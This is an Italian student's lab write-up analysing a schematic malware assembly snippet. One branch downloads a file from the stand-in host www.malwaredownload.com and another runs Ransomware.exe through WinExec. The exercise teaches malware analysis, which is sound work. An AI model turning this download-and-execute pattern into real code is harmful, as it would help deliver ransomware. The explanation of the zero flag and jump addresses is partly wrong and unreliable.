# Analisi avanzata

30.09.22

# Traccia

Con riferimento al codice che si trova nelle slide rispondere alle seguenti domande:

1. Spiegare e motivare quale salto condizionale effettua il Malware
2. Disegnare un diagramma di flusso identificando i salti condizionali. Indicare con una linea verde i salti effettuati e con una linea rossa i salti non effettuati.
3. Quali sono le diverse funzionalità implementate all'interno del Malware
4. Con riferimento alle istruzioni call in tabella due e tre, dettagliare come sono passati gli argomenti alle successive chiamate di funzione.

# 1- Salto condizionale Malware

Il malware esegue il salto condizionale dalla locazione 00401068 alla locazione 0040FFA0 presente nella tabella 3.

Prima di eseguire i salti possiamo intuire dalla tabella, che il 10 viene inserito nel registro EBX che verrà poi incrementato di 1, venendo poi comparato con 11.

| | | |
|---|---|---|
| 00401044 | mov | EBX,10 |
| 0040105F | inc | EBX |
| 00401064 | cmp | EBX,11 |

**Esegue il salto** perchè quando facciamo la comparazione tra EBX e 11 il risultato è diverso da 0, quindi 1. Quando il risultato di **jz** equivale a 1, avviene il salto.

Il **salto non viene effettuato** alla locazione 00401058 con il comando **jnz** perchè il risultato della comparazione equivale a 1.

Dalla tabella vediamo come 5 viene inserito nel registro EAX, che viene comparato con 5.

| | | |
|---|---|---|
| 00401040 | mov | EAX,5 |
| 00401048 | cmp | EAX,5 |

# 2-Diagramma

salto

non salto

| Locazione | Istruzione | Operandi | Note |
|---|---|---|---|
| 00401040 | mov | EAX, 5 | |
| 00401044 | mov | EBX, 10 | |
| 00401048 | cmp | EAX, 5 | |
| 0040105B | jnz | loc 0040BBA0 | ; tabella 2 |
| 0040105F | inc | EBX | |
| 00401064 | cmp | EBX, 11 | |
| 00401068 | jz | loc 0040FFA0 | ; tabella 3 |

| Locazione | Istruzione | Operandi | Note |
|---|---|---|---|
| 0040BBA0 | mov | EAX, EDI | EDI= www.malwaredownload.com |
| 0040BBA4 | push | EAX | ; URL |
| 0040BBA8 | call | DownloadToFile() | ; pseudo funzione |

| Locazione | Istruzione | Operandi | Note |
|---|---|---|---|
| 0040FFA0 | mov | EDX, EDI | EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe |
| 0040FFA4 | push | EDX | ; .exe da eseguire |
| 0040FFA8 | call | WinExec() | ; pseudo funzione |

# 3- Funzionalità Malware

Le funzionalità implementate nel malware sono **DownloadToFile()** e **WinExec()**

- **DownloadToFile()**: è un **API** di Windows che serve per **scaricare il file** malware da internet salvandolo all'interno di un file sul disco rigido del computer infetto.

| Locazione | Istruzione | Operandi | Note |
|---|---|---|---|
| 0040BBA0 | mov | EAX, EDI | EDI= www.malwaredownload.com |
| 0040BBA4 | push | EAX | ; URL |
| 0040BBA8 | call | DownloadToFile() | ; pseudo funzione |

- **WinExec()**: è un **API** di Windows che serve per **avviare un processo** una volta scaricato dalla rete (in questo caso il file è ransomewere.exe)

| Locazione | Istruzione | Operandi | Note |
|---|---|---|---|
| 0040FFA0 | mov | EDX, EDI | EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe |
| 0040FFA4 | push | EDX | ; .exe da eseguire |
| 0040FFA8 | call | WinExec() | ; pseudo funzione |

# 4-Passaggio di argomenti

Con riferimento alle istruzioni call presenti nella tabella 2 e 3 possiamo dedurre che:

| Locazione | Istruzione | Operandi | Note |
|---|---|---|---|
| 0040BBA0 | mov | EAX, EDI | EDI= www.malwaredownload.com |
| 0040BBA4 | push | EAX | ; URL |
| 0040BBA8 | call | DownloadToFile() | ; pseudo funzione |

L'URL dove si trova il malware all'interno del registro **EDI**, viene inserito nel registro **EAX**, che viene spostato poi sullo **stack**. Con la funzione **call** viene richiamata la funzione **DownloadToFile()** che scaricherà il contenuto trovato all'interno dell'**URL**.

4-

| Locazione | Istruzione | Operandi | Note |
|---|---|---|---|
| 0040FFA0 | mov | EDX, EDI | EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe |
| 0040FFA4 | push | EDX | ; .exe da eseguire |
| 0040FFA8 | call | WinExec() | ; pseudo funzione |

**EDI** che contiene il path Ransomware.exe viene inserito nel registro **EDX** che viene spostato sullo **stack**. Con l'istruzione **call** andrà a chiamare la funzione **WinExec()** che avvia il processo del **Ransomewere.exe**.